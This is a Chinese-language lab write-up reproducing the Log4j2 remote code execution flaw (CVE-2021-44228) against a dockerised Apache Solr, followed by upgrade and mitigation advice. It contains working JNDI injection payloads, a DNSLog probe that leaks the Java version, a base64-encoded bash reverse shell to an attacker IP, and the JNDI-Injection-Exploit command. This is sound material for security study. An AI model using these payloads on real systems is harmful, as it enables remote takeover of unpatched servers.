log4j2 远程代码执行漏洞复现(CVE-2021-44228)
一、漏洞描述
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
二、影响版本
受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2
三、环境搭建
使用docker拉取靶场镜像
docker-compose up -d
查看端口号
docker ps
服务启动后,访问
http://your-ip:8983
即可查看到Apache Solr的后台页面
四、漏洞复现
首先使用 DNSLog 平台获取一个子域名
地址:DNSLog Platform
点击 Get SubDomin
这里获取到的子域名为:q3nlj0.dnslog.cn
使用该子域名,我们构造 payload:
${jndi:ldap://4ixuit.dnslog.cn}
然后我们对目标网站进行测试,访问网址:
http://192.168.190.134:8983/solr/admin/cores?action=${jndi:ldap://4ixuit.dnslog.cn}
确定java版本
${jndi:ldap://${sys:java.version}.4ixuit.dnslog.cn}
http://192.168.190.134:8983/solr/admin/cores?action=%24%7bjndi%3aldap%3a%2f%2f%24%7bsys%3ajava.version%7d.4ixuit.dnslog.cn%7d
shell反弹
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar下载地址:
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
https://github.com/welk1n/JNDI-Injection-Exploit.git
构造payload:
bash -i >& /dev/tcp/192.168.190.151/7777 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xNTEvNzc3NyAwPiYx
执行命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xNTEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.190.151"
在kali开启监听
nc -lvvp 7777
再次构造一个payload(根据自己的java版本选择):
${jndi:ldap://192.168.190.151:1389/nn99zd}
然后我们将这个payload插入到action的后面,在浏览器访问以下url:
http://192.168.190.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.190.151:1389/nn99zd}
成功弹回shell:
五、解决建议
1、排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。同时为了避免在Apache Log4j 2.15.0版本中某些自定义配置而可能导致的JNDI注入或拒绝服务攻击,请尽快升级Apache Log4j2所有相关应用到 2.16.0 或者 2.12.2 及其以上版本,地址 https://logging.apache.org/log4j/2.x/download.html 。
2、对于 Java 8 及其以上用户,建议升级 Apache Log4j2 至 2.16.0 及以上版本。
3、对于 Java 7 用户,建议升级至 Apache Log4j 2.12.2 及以上版本,该版本为安全版本,用于解决兼容性问题。
4、对于其余暂时无法升级版本的用户,建议删除JndiLookup,可用以下命令 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
5、升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink
6、其余临时缓解方案可参见 https://logging.apache.org/log4j/2.x/security.html 。目前已有安全版本,强烈建议不要采用临时缓解方案进行防御。
版权归原作者 夏日冰棍 所有, 如有侵权,请联系我们删除。